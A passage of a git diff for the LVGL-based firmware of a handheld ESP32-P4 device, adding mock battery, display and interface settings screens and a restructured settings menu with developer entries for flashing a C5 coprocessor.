+ lv_obj_set_height(row, LV_SIZE_CONTENT); + lv_obj_remove_flag(row, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_flex_flow(row, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align( + row, LV_FLEX_ALIGN_SPACE_BETWEEN, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + + lv_obj_t *l = lv_label_create(row); + lv_label_set_text(l, label); + lv_obj_set_style_text_font(l, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(l, current_theme.text_main, 0); + + lv_obj_t *v = lv_label_create(row); + lv_label_set_text(v, value); + lv_obj_set_style_text_font(v, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(v, current_theme.border_accent, 0); +} + +static lv_color_t level_color(int pct) { + if (pct < 25) + return lv_color_hex(0xE53935); + if (pct < 60) + return lv_color_hex(0xFFB300); + return lv_color_hex(0x00E676); +} + +static void bar_anim_exec_cb(void *obj, int32_t v) { + lv_bar_set_value((lv_obj_t *)obj, v, LV_ANIM_OFF); +} + +static void bolt_opa_exec_cb(void *obj, int32_t v) { + lv_obj_set_style_text_opa((lv_obj_t *)obj, (lv_opa_t)v, 0); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool back = back_button_is_down(); + if (back && !s_back_last) + ui_switch_screen(SCREEN_SETTINGS); + s_back_last = back; +} + +void ui_battery_settings_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + s_bar = NULL; + s_bolt = NULL; + } + (void)TAG; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + ui_chrome_header(s_screen, "BATTERY", "/assets/icons/battery_menu_icon.bin"); + ui_chrome_footer(s_screen, "BACK: Exit"); + + lv_color_t bar_color = level_color(MOCK_PERCENT); + s_bar = lv_bar_create(s_screen); + lv_obj_set_size(s_bar, 190, 16); + lv_obj_align(s_bar, LV_ALIGN_TOP_MID, 0, 52); + lv_bar_set_range(s_bar, 0, 100); + lv_bar_set_value(s_bar, 0, LV_ANIM_OFF); + lv_obj_set_style_bg_color(s_bar, current_theme.bg_secondary, LV_PART_MAIN); + lv_obj_set_style_bg_opa(s_bar, LV_OPA_COVER, LV_PART_MAIN); + lv_obj_set_style_radius(s_bar, 4, LV_PART_MAIN); + lv_obj_set_style_bg_color(s_bar, bar_color, LV_PART_INDICATOR); + lv_obj_set_style_bg_opa(s_bar, LV_OPA_COVER, LV_PART_INDICATOR); + lv_obj_set_style_radius(s_bar, 4, LV_PART_INDICATOR); + + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_bar); + lv_anim_set_exec_cb(&a, bar_anim_exec_cb); + lv_anim_set_values(&a, 0, MOCK_PERCENT); + lv_anim_set_duration(&a, BAR_ANIM_MS); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); + + lv_obj_t *pct = lv_label_create(s_screen); + lv_label_set_text(pct, "76%"); + lv_obj_set_style_text_font(pct, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(pct, bar_color, 0); + lv_obj_align(pct, LV_ALIGN_TOP_MID, 0, 74); + + lv_obj_t *status = lv_label_create(s_screen); + lv_label_set_text(status, "Charging"); + lv_obj_set_style_text_font(status, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(status, current_theme.border_accent, 0); + lv_obj_align(status, LV_ALIGN_TOP_MID, 8, 100); + + s_bolt = lv_label_create(s_screen); + lv_label_set_text(s_bolt, LV_SYMBOL_CHARGE); + lv_obj_set_style_text_color(s_bolt, current_theme.border_accent, 0); + lv_obj_align_to(s_bolt, status, LV_ALIGN_OUT_LEFT_MID, -6, 0); + + lv_anim_t b; + lv_anim_init(&b); + lv_anim_set_var(&b, s_bolt); + lv_anim_set_exec_cb(&b, bolt_opa_exec_cb); + lv_anim_set_values(&b, LV_OPA_30, LV_OPA_COVER); + lv_anim_set_duration(&b, BOLT_ANIM_MS); + lv_anim_set_playback_duration(&b, BOLT_ANIM_MS); + lv_anim_set_repeat_count(&b, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&b, lv_anim_path_ease_in_out); + lv_anim_start(&b); + + lv_obj_t *stats = lv_obj_create(s_screen); + lv_obj_remove_style_all(stats); + lv_obj_set_width(stats, 196); + lv_obj_set_height(stats, LV_SIZE_CONTENT); + lv_obj_align(stats, LV_ALIGN_TOP_MID, 0, 124); + lv_obj_remove_flag(stats, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_flex_flow(stats, LV_FLEX_FLOW_COLUMN); + lv_obj_set_style_pad_row(stats, 4, 0); + + add_stat_row(stats, "Voltage", "4.02 V"); + add_stat_row(stats, "Current", "+180 mA"); + add_stat_row(stats, "Temp", "31 C"); + add_stat_row(stats, "Cycles", "142"); + add_stat_row(stats, "Health", "96%"); + add_stat_row(stats, "Time to full", "~38 min"); + + lv_obj_fade_in(stats, ENTRY_FADE_MS, 0); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/settings/display_settings_ui.c b/firmware_p4/components/Applications/ui/screens/settings/display_settings_ui.c new file mode 100644 index 000000000..57bf11818 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/settings/display_settings_ui.c @@ -0,0 +1,166 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "display_settings_ui.h" + +#include "esp_log.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "notify_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "DISPLAY_SETTINGS_UI"; + +#define NAV_TIMER_MS 50 +#define ENTRY_FADE_MS 200 + +#define ROW_BRIGHTNESS 0 +#define ROW_ROTATION 1 +#define ROW_TIMEOUT 2 +#define ROW_AUTODIM 3 +#define ROW_INVERT 4 + +static const char *const ROTATION_OPTS[] = {"Portrait", "Landscape"}; +#define ROTATION_COUNT ((int)(sizeof(ROTATION_OPTS) / sizeof(ROTATION_OPTS[0]))) + +static const char *const TIMEOUT_OPTS[] = {"15s", "30s", "1m", "Off"}; +#define TIMEOUT_COUNT ((int)(sizeof(TIMEOUT_OPTS) / sizeof(TIMEOUT_OPTS[0]))) + +static int s_rotation_idx = 0; +static int s_timeout_idx = 1; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; + +static bool s_up_last = false; +static bool s_down_last = false; +static bool s_left_last = false; +static bool s_right_last = false; +static bool s_ok_last = false; +static bool s_back_last = false; +static bool s_changed = false; + +static void cycle_selector(int sel, int dir) { + if (sel == ROW_ROTATION) { + s_rotation_idx = (s_rotation_idx + dir + ROTATION_COUNT) % ROTATION_COUNT; + menu_component_set_selector_value(&s_menu, sel, ROTATION_OPTS[s_rotation_idx]); + s_changed = true; + } else if (sel == ROW_TIMEOUT) { + s_timeout_idx = (s_timeout_idx + dir + TIMEOUT_COUNT) % TIMEOUT_COUNT; + menu_component_set_selector_value(&s_menu, sel, TIMEOUT_OPTS[s_timeout_idx]); + s_changed = true; + } +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + + if (ok && !s_ok_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0 && s_menu.has_toggle[sel]) { + menu_component_toggle_item(&s_menu, sel); + s_changed = true; + ESP_LOGI(TAG, "mock toggle row %d -> %d", sel, menu_component_get_toggle(&s_menu, sel)); + } + } + + if (left && !s_left_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0) { + if (s_menu.has_intensity[sel]) { + menu_component_intensity_dec(&s_menu, sel); + s_changed = true; + } else if (s_menu.val_labels[sel] != NULL) { + cycle_selector(sel, -1); + } + } + } + if (right && !s_right_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0) { + if (s_menu.has_intensity[sel]) { + menu_component_intensity_inc(&s_menu, sel); + s_changed = true; + } else if (s_menu.val_labels[sel] != NULL) { + cycle_selector(sel, +1); + } + } + } + + if (back && !s_back_last) { + if (s_changed) + notify(NOTIFY_SAVED, "Display settings saved"); + ui_switch_screen(SCREEN_SETTINGS); + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_display_settings_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + + s_rotation_idx = 0; + s_timeout_idx = 1; + s_changed = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "DISPLAY", "/assets/icons/display_menu_icon.bin"); + menu_component_add_intensity(&s_menu, "/assets/icons/bright_icon.bin", "Brightness", 4); + menu_component_add_selector(&s_menu, NULL, "Rotation", ROTATION_OPTS[s_rotation_idx]); + menu_component_add_selector(&s_menu, NULL, "Timeout", TIMEOUT_OPTS[s_timeout_idx]); + menu_component_add_toggle(&s_menu, NULL, "Auto-dim", true); + menu_component_add_toggle(&s_menu, NULL, "Invert", false); + + if (s_menu.items_cont != NULL) + lv_obj_fade_in(s_menu.items_cont, ENTRY_FADE_MS, 0); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/about_settings/include/about_settings_ui.h b/firmware_p4/components/Applications/ui/screens/settings/include/about_settings_ui.h similarity index 91% rename from firmware_p4/components/Applications/ui/screens/about_settings/include/about_settings_ui.h rename to firmware_p4/components/Applications/ui/screens/settings/include/about_settings_ui.h index 805d336a0..3f66b533c 100644 --- a/firmware_p4/components/Applications/ui/screens/about_settings/include/about_settings_ui.h +++ b/firmware_p4/components/Applications/ui/screens/settings/include/about_settings_ui.h @@ -20,11 +20,11 @@ extern "C" { #endif -/** @brief Open the about settings screen. */ +/** @brief Open the about info screen (mock). */ void ui_about_settings_open(void); #ifdef __cplusplus } #endif -#endif // ABOUT_SETTINGS_UI_H \ No newline at end of file +#endif // ABOUT_SETTINGS_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/battery_settings/include/battery_settings_ui.h b/firmware_p4/components/Applications/ui/screens/settings/include/battery_settings_ui.h similarity index 91% rename from firmware_p4/components/Applications/ui/screens/battery_settings/include/battery_settings_ui.h rename to firmware_p4/components/Applications/ui/screens/settings/include/battery_settings_ui.h index a221fcfb3..cece54220 100644 --- a/firmware_p4/components/Applications/ui/screens/battery_settings/include/battery_settings_ui.h +++ b/firmware_p4/components/Applications/ui/screens/settings/include/battery_settings_ui.h @@ -20,11 +20,11 @@ extern "C" { #endif -/** @brief Open the battery settings screen. */ +/** @brief Open the battery info screen (mock). */ void ui_battery_settings_open(void); #ifdef __cplusplus } #endif -#endif // BATTERY_SETTINGS_UI_H \ No newline at end of file +#endif // BATTERY_SETTINGS_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/display_settings/include/display_settings_ui.h b/firmware_p4/components/Applications/ui/screens/settings/include/display_settings_ui.h similarity index 90% rename from firmware_p4/components/Applications/ui/screens/display_settings/include/display_settings_ui.h rename to firmware_p4/components/Applications/ui/screens/settings/include/display_settings_ui.h index 3fee98702..a2f07d37d 100644 --- a/firmware_p4/components/Applications/ui/screens/display_settings/include/display_settings_ui.h +++ b/firmware_p4/components/Applications/ui/screens/settings/include/display_settings_ui.h @@ -20,11 +20,11 @@ extern "C" { #endif -/** @brief Open the display settings screen. */ +/** @brief Open the display settings screen (mock). */ void ui_display_settings_open(void); #ifdef __cplusplus } #endif -#endif // DISPLAY_SETTINGS_UI_H \ No newline at end of file +#endif // DISPLAY_SETTINGS_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/interface_settings/include/interface_settings_ui.h b/firmware_p4/components/Applications/ui/screens/settings/include/interface_settings_ui.h similarity index 90% rename from firmware_p4/components/Applications/ui/screens/interface_settings/include/interface_settings_ui.h rename to firmware_p4/components/Applications/ui/screens/settings/include/interface_settings_ui.h index 0f82fb123..57a627d62 100644 --- a/firmware_p4/components/Applications/ui/screens/interface_settings/include/interface_settings_ui.h +++ b/firmware_p4/components/Applications/ui/screens/settings/include/interface_settings_ui.h @@ -20,11 +20,11 @@ extern "C" { #endif -/** @brief Open the interface settings screen. */ +/** @brief Open the interface settings screen (mock). */ void ui_interface_settings_open(void); #ifdef __cplusplus } #endif -#endif // INTERFACE_SETTINGS_UI_H \ No newline at end of file +#endif // INTERFACE_SETTINGS_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/sound_settings/include/sound_settings_ui.h b/firmware_p4/components/Applications/ui/screens/settings/include/sound_settings_ui.h similarity index 91% rename from firmware_p4/components/Applications/ui/screens/sound_settings/include/sound_settings_ui.h rename to firmware_p4/components/Applications/ui/screens/settings/include/sound_settings_ui.h index f3afd09ec..268b96208 100644 --- a/firmware_p4/components/Applications/ui/screens/sound_settings/include/sound_settings_ui.h +++ b/firmware_p4/components/Applications/ui/screens/settings/include/sound_settings_ui.h @@ -20,11 +20,11 @@ extern "C" { #endif -/** @brief Open the sound settings screen. */ +/** @brief Open the sound settings screen (mock). */ void ui_sound_settings_open(void); #ifdef __cplusplus } #endif -#endif // SOUND_SETTINGS_UI_H \ No newline at end of file +#endif // SOUND_SETTINGS_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/settings/interface_settings_ui.c b/firmware_p4/components/Applications/ui/screens/settings/interface_settings_ui.c new file mode 100644 index 000000000..ef0af1642 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/settings/interface_settings_ui.c @@ -0,0 +1,157 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "interface_settings_ui.h" + +#include "esp_log.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "notify_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "INTERFACE_SETTINGS_UI"; + +#define NAV_TIMER_MS 50 +#define ENTRY_FADE_MS 200 + +#define ROW_ANIMATIONS 0 +#define ROW_HAPTICS 1 +#define ROW_SOUNDFX 2 +#define ROW_THEME 3 +#define ROW_LANGUAGE 4 + +static const char *const LANGUAGE_OPTS[] = {"EN", "PT", "ES"}; +#define LANGUAGE_COUNT ((int)(sizeof(LANGUAGE_OPTS) / sizeof(LANGUAGE_OPTS[0]))) + +static int s_language_idx = 0; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; + +static bool s_up_last = false; +static bool s_down_last = false; +static bool s_left_last = false; +static bool s_right_last = false; +static bool s_ok_last = false; +static bool s_back_last = false; +static bool s_changed = false; + +static void cycle_selector(int sel, int dir) { + if (sel == ROW_LANGUAGE) { + s_language_idx = (s_language_idx + dir + LANGUAGE_COUNT) % LANGUAGE_COUNT; + menu_component_set_selector_value(&s_menu, sel, LANGUAGE_OPTS[s_language_idx]); + s_changed = true; + } +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + + if (ok && !s_ok_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel == ROW_THEME) { + ui_switch_screen(SCREEN_THEME_SELECTOR); + return; + } + if (sel >= 0 && s_menu.has_toggle[sel]) { + menu_component_toggle_item(&s_menu, sel); + s_changed = true; + ESP_LOGI(TAG, "mock toggle row %d -> %d", sel, menu_component_get_toggle(&s_menu, sel)); + } + } + + if (left && !s_left_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0) { + if (s_menu.has_intensity[sel]) + menu_component_intensity_dec(&s_menu, sel); + else if (s_menu.val_labels[sel] != NULL) + cycle_selector(sel, -1); + } + } + if (right && !s_right_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0) { + if (s_menu.has_intensity[sel]) + menu_component_intensity_inc(&s_menu, sel); + else if (s_menu.val_labels[sel] != NULL) + cycle_selector(sel, +1); + } + } + + if (back && !s_back_last) { + if (s_changed) + notify(NOTIFY_SAVED, "Interface settings saved"); + ui_switch_screen(SCREEN_SETTINGS); + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_interface_settings_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + + s_language_idx = 0; + s_changed = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "INTERFACE", "/assets/icons/interface_menu_icon.bin"); + menu_component_add_toggle(&s_menu, NULL, "Animations", true); + menu_component_add_toggle(&s_menu, NULL, "Haptics", true); + menu_component_add_toggle(&s_menu, NULL, "Sound FX", true); + menu_component_add_item(&s_menu, "/assets/icons/theme_menu_icon.bin", "Theme"); + menu_component_add_selector(&s_menu, NULL, "Language", LANGUAGE_OPTS[s_language_idx]); + + if (s_menu.items_cont != NULL) + lv_obj_fade_in(s_menu.items_cont, ENTRY_FADE_MS, 0); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c b/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c index 78cbd5258..0a584e7ec 100644 --- a/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c +++ b/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c @@ -22,10 +22,41 @@ #include "ui_manager.h" #include "lv_port_indev.h" #include "buttons_gpio.h" +#include "c5_flasher.h" +#include "esp_system.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" static const char *TAG = "SETTINGS_UI"; #define NAV_TIMER_PERIOD_MS 50 +#define ENTRY_FADE_MS 180 + +#define C5_PROGRESS_TICK_MS 200 +#define C5_DISMISS_DELAY_MS 2000 +#define C5_FLASH_TASK_STACK 4096 +#define C5_FLASH_TASK_PRIO 5 +#define C5_ROM_FLASH_TASK_STACK 8192 +#define C5_ROM_FLASH_TASK_PRIO 5 +#define C5_PASSTHROUGH_TASK_STACK 4096 +#define C5_PASSTHROUGH_TASK_PRIO 6 +#define REBOOT_DELAY_MS 80 + +#define ACTION_TOGGLE_ROTATION (-1) +#define ACTION_FLASH_C5 (-2) +#define ACTION_C5_PASSTHROUGH (-3) +#define ACTION_REBOOT_P4 (-4) +#define ACTION_FLASH_C5_ROM (-5) +#define ACTION_RELEASE_C5_UART (-6) + +#define GOTO_LAB (-20) +#define GOTO_DEV (-21) + +typedef enum { + VIEW_MAIN = 0, + VIEW_LAB, + VIEW_DEV, +} settings_view_t; typedef struct { const char *name; @@ -33,19 +64,63 @@ typedef struct { int target; } settings_item_t; -static const settings_item_t ITEMS[] = { +static const settings_item_t MAIN_ITEMS[] = { {"CONNECTION", "/assets/icons/wifi_menu_icon.bin", SCREEN_CONNECTION_SETTINGS}, - {"INTERFACE", "/assets/icons/interface_menu_icon.bin", SCREEN_INTERFACE_SETTINGS}, {"DISPLAY", "/assets/icons/display_menu_icon.bin", SCREEN_DISPLAY_SETTINGS}, - {"SOUND", NULL, SCREEN_SOUND_SETTINGS}, + {"INTERFACE", "/assets/icons/interface_menu_icon.bin", SCREEN_INTERFACE_SETTINGS}, + {"THEME", "/assets/icons/theme_menu_icon.bin", SCREEN_THEME_SELECTOR}, + {"ROTATE SCREEN", "/assets/icons/rotate_menu_icon.bin", ACTION_TOGGLE_ROTATION}, + {"SOUND", "/assets/icons/volume_icon.bin", SCREEN_SOUND_SETTINGS}, + {"AUDIO & HAPTICS", "/assets/icons/volume_icon.bin", GOTO_LAB}, {"BATTERY", "/assets/icons/battery_menu_icon.bin", SCREEN_BATTERY_SETTINGS}, + {"POWER", "/assets/icons/power_icon.bin", SCREEN_POWER}, + {"DEVELOPER", "/assets/icons/push_icon.bin", GOTO_DEV}, {"ABOUT", "/assets/icons/about_menu_icon.bin", SCREEN_ABOUT_SETTINGS}, }; -#define ITEM_COUNT (sizeof(ITEMS) / sizeof(ITEMS[0])) +#define MAIN_COUNT ((int)(sizeof(MAIN_ITEMS) / sizeof(MAIN_ITEMS[0]))) + +typedef struct { + int before; + const char *title; +} settings_section_t; +static const settings_section_t MAIN_SECTIONS[] = { + {0, "Connectivity"}, + {1, "Interface"}, + {5, "Sound & Haptics"}, + {7, "Power"}, + {9, "System"}, +}; +#define MAIN_SECTION_COUNT ((int)(sizeof(MAIN_SECTIONS) / sizeof(MAIN_SECTIONS[0]))) + +static const settings_item_t LAB_ITEMS[] = { + {"VIBRATION", "/assets/icons/phone_icon.bin", SCREEN_HAPTIC}, + {"SPEAKER", "/assets/icons/volume_icon.bin", SCREEN_SPEAKER}, + {"MIC -> SPEAKER", "/assets/icons/volume_icon.bin", SCREEN_MIC_REC}, + {"SPECTRUM", "/assets/icons/radar_icon.bin", SCREEN_SPECTRUM}, +}; +#define LAB_COUNT ((int)(sizeof(LAB_ITEMS) / sizeof(LAB_ITEMS[0]))) + +static const settings_item_t DEV_ITEMS[] = { + {"UPDATE C5", "/assets/icons/recharge_menu_icon.bin", ACTION_FLASH_C5}, + {"FLASH C5 (ROM)", "/assets/icons/push_icon.bin", ACTION_FLASH_C5_ROM}, + {"RELEASE C5 UART", "/assets/icons/push_icon.bin", ACTION_RELEASE_C5_UART}, + {"C5 PASSTHROUGH", "/assets/icons/push_icon.bin", ACTION_C5_PASSTHROUGH}, + {"RESTART P4", "/assets/icons/recharge_menu_icon.bin", ACTION_REBOOT_P4}, +}; +#define DEV_COUNT ((int)(sizeof(DEV_ITEMS) / sizeof(DEV_ITEMS[0]))) static lv_obj_t *s_screen = NULL; static menu_component_t s_menu; static lv_timer_t *s_nav_timer = NULL; +static settings_view_t s_view = VIEW_MAIN; + +static lv_obj_t *s_confirm_overlay = NULL; + +static lv_obj_t *s_c5_overlay = NULL; +static lv_obj_t *s_c5_status_label = NULL; +static lv_obj_t *s_c5_bar = NULL; +static lv_timer_t *s_c5_prog_timer = NULL; +static bool s_c5_in_progress = false; static bool s_btn_up_last = false; static bool s_btn_down_last = false; @@ -54,7 +129,285 @@ static bool s_btn_right_last = false; static bool s_btn_ok_last = false; static bool s_btn_back_last = false; -static void nav_timer_cb(lv_timer_t *t); +static void build_settings_view(settings_view_t view); + +static const settings_item_t * +view_table(settings_view_t view, int *count, const char **title, const char **icon) { + switch (view) { + case VIEW_LAB: + if (count) + *count = LAB_COUNT; + if (title) + *title = "AUDIO & HAPTICS"; + if (icon) + *icon = "/assets/icons/volume_icon.bin"; + return LAB_ITEMS; + case VIEW_DEV: + if (count) + *count = DEV_COUNT; + if (title) + *title = "DEVELOPER"; + if (icon) + *icon = "/assets/icons/push_icon.bin"; + return DEV_ITEMS; + case VIEW_MAIN: + default: + if (count) + *count = MAIN_COUNT; + if (title) + *title = "SETTINGS"; + if (icon) + *icon = "/assets/icons/config_icon.bin"; + return MAIN_ITEMS; + } +} + +static void show_rotation_confirm(void) { + if (s_confirm_overlay != NULL) + return; + + s_confirm_overlay = lv_obj_create(s_screen); + lv_obj_set_size(s_confirm_overlay, LV_PCT(100), LV_PCT(100)); + lv_obj_center(s_confirm_overlay); + lv_obj_remove_flag(s_confirm_overlay, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_color(s_confirm_overlay, lv_color_black(), 0); + lv_obj_set_style_bg_opa(s_confirm_overlay, LV_OPA_80, 0); + lv_obj_set_style_border_width(s_confirm_overlay, 0, 0); + lv_obj_set_style_pad_all(s_confirm_overlay, 0, 0); + + lv_obj_t *box = lv_obj_create(s_confirm_overlay); + lv_obj_set_size(box, 200, 120); + lv_obj_center(box); + lv_obj_remove_flag(box, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_color(box, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(box, LV_OPA_COVER, 0); + lv_obj_set_style_border_color(box, current_theme.border_accent, 0); + lv_obj_set_style_border_width(box, 2, 0); + lv_obj_set_style_radius(box, 10, 0); + lv_obj_set_style_pad_all(box, 8, 0); + + lv_obj_t *title = lv_label_create(box); + lv_label_set_text(title, "[ ROTATE? ]"); + lv_obj_set_style_text_color(title, current_theme.border_accent, 0); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 0); + + lv_obj_t *body = lv_label_create(box); + lv_label_set_text(body, "Switch portrait/\nlandscape now?"); + lv_obj_set_style_text_color(body, current_theme.text_main, 0); + lv_obj_set_style_text_align(body, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(body, LV_ALIGN_CENTER, 0, 4); + + lv_obj_t *hint = lv_label_create(box); + lv_label_set_text(hint, "OK = YES BACK = NO"); + lv_obj_set_style_text_color(hint, current_theme.border_accent, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, 0); +} + +static void hide_rotation_confirm(void) { + if (s_confirm_overlay) { + lv_obj_del(s_confirm_overlay); + s_confirm_overlay = NULL; + } +} + +static void show_c5_progress(const char *msg) { + if (s_c5_overlay == NULL) { + s_c5_overlay = lv_obj_create(s_screen); + lv_obj_set_size(s_c5_overlay, LV_PCT(100), LV_PCT(100)); + lv_obj_center(s_c5_overlay); + lv_obj_remove_flag(s_c5_overlay, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_color(s_c5_overlay, lv_color_black(), 0); + lv_obj_set_style_bg_opa(s_c5_overlay, LV_OPA_90, 0); + lv_obj_set_style_border_width(s_c5_overlay, 0, 0); + + lv_obj_t *box = lv_obj_create(s_c5_overlay); + lv_obj_set_size(box, 200, 130); + lv_obj_center(box); + lv_obj_remove_flag(box, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_color(box, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(box, LV_OPA_COVER, 0); + lv_obj_set_style_border_color(box, current_theme.border_accent, 0); + lv_obj_set_style_border_width(box, 2, 0); + lv_obj_set_style_radius(box, 10, 0); + lv_obj_set_style_pad_all(box, 10, 0); + + lv_obj_t *title = lv_label_create(box); + lv_label_set_text(title, "[ UPDATING C5 ]"); + lv_obj_set_style_text_color(title, current_theme.border_accent, 0); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 0); + + s_c5_status_label = lv_label_create(box); + lv_label_set_text(s_c5_status_label, msg ? msg : "Starting..."); + lv_obj_set_style_text_color(s_c5_status_label, current_theme.text_main, 0); + lv_obj_set_style_text_align(s_c5_status_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(s_c5_status_label, LV_ALIGN_CENTER, 0, -4); + lv_label_set_long_mode(s_c5_status_label, LV_LABEL_LONG_WRAP); + lv_obj_set_width(s_c5_status_label, 180); + + s_c5_bar = lv_bar_create(box); + lv_obj_set_size(s_c5_bar, 170, 12); + lv_obj_align(s_c5_bar, LV_ALIGN_BOTTOM_MID, 0, 0); + lv_bar_set_range(s_c5_bar, 0, 100); + lv_bar_set_value(s_c5_bar, 0, LV_ANIM_OFF); + lv_obj_set_style_bg_color(s_c5_bar, lv_color_hex(0x202028), LV_PART_MAIN); + lv_obj_set_style_bg_opa(s_c5_bar, LV_OPA_COVER, LV_PART_MAIN); + lv_obj_set_style_radius(s_c5_bar, 4, LV_PART_MAIN); + lv_obj_set_style_bg_color(s_c5_bar, lv_color_hex(0x00E676), LV_PART_INDICATOR); + lv_obj_set_style_bg_opa(s_c5_bar, LV_OPA_COVER, LV_PART_INDICATOR); + lv_obj_set_style_radius(s_c5_bar, 4, LV_PART_INDICATOR); + 